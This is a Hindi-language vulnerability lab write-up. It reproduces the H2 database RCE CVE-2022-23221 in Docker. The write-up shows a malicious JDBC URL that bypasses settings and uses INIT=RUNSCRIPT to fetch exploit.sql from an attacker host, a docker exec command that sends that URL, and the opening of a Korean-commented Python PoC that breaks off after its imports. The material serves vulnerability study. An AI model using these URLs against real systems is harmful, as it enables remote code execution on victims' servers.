
CVE-2022-23221
H2 एक रिलेशनल डेटाबेस प्रबंधन प्रणाली है, जो SQL इंजन के भीतर Java कोड को सीधे संकलित और निष्पादित करने की सुविधा प्रदान करती है।
H2 ड्राइवर JDBC URL को पार्स करके एप्लिकेशन और डेटाबेस के बीच कनेक्शन स्थापित करता है। इस समय URL में शामिल कॉन्फ़िगरेशन पैरामीटर के माध्यम से डेटाबेस की प्रारंभिक स्थिति या व्यवहार को नियंत्रित किया जा सकता है।
समस्या वाले H2 2.1.210 से पहले के संस्करणों में JDBC URL के INIT पैरामीटर के माध्यम से दूरस्थ SQL स्क्रिप्ट निष्पादित करने की समस्या है। हमलावर इसका दुरुपयोग करके दूरस्थ रूप से एक छेड़छाड़ की गई SQL स्क्रिप्ट इंजेक्ट करता है और उसके आंतरिक सिंटैक्स के माध्यम से सिस्टम कमांड निष्पादित करता है, जिससे CVE-2022-23221 कमज़ोरी उत्पन्न होती है।
इस कमज़ोरी की विशेषताएँ निम्नलिखित हैं।
कमज़ोरी प्रभाव सीमा
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’ शामिल होना चाहिए।
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> सुरक्षा सेटिंग्स को बायपास करना
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> एप्लिकेशन और DB के कनेक्शन पर स्वतः निष्पादित होने वाला SQL कमांड
CREATE ALIAS SQL सिंटैक्स होना चाहिए।
CREATE ALIAS सिंटैक्स H2 को DB के भीतर स्क्रिप्ट के Java फ़ंक्शन को निष्पादित करने के लिए प्रेरित करता है, और परिणामस्वरूप RCE उत्पन्न होता है।परिदृश्य
id, whoami, pwd के निष्पादन परिणाम आउटपुट होते हैं, तो इसका अर्थ है कि कमज़ोर H2 वातावरण का निर्माण हो चुका है और H2 द्वारा दुर्भावनापूर्ण JDBC URL को पार्स करने की प्रक्रिया में बाहरी attacker सर्वर से exploit.sql फ़ाइल दूरस्थ रूप से डाउनलोड होकर निष्पादित हुई है।वातावरण निर्माण
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : exploit.sql फ़ाइल प्रदान करता हैपर्यावरण कॉन्फ़िगरेशन के बाद http://your-ip:8082 पर जाने पर H2 वेब पेज दिखाई देता है।
: वेब कंसोल में सुरक्षा नीति लागू होने के कारण कमज़ोरी की शर्त बनने वाले पैरामीटर फ़िल्टर हो सकते हैं, इसलिए दुर्भावनापूर्ण पैरामीटर वाला JDBC URL CLI के माध्यम से सीधे दर्ज करके कमज़ोरी का पुनरुत्पादन करें और उसका परिणाम जाँचें।
सामान्य JDBC URL: "jdbc:h2:mem:test"
सामान्य अनुरोध कमांड
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
निष्पादन परिणाम

दुर्भावनापूर्ण JDBC URL को H2 ड्राइवर में दर्ज करके attacker सर्वर से कनेक्शन का प्रयास करें। इस समय URL दर्ज करने की 2 विधियाँ हैं।
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 JDBC URL के INIT पैरामीटर में निर्दिष्ट INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' के अनुसार attacker सर्वर से exploit.sql फ़ाइल का अनुरोध (HTTP GET) करता है और इसे H2 डेटाबेस के भीतर निष्पादित करता है।
docker logs attacker चलाने पर h2-vulnerable सर्वर से आए exploit.sql फ़ाइल अनुरोध का लॉग देखा जा सकता है।docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys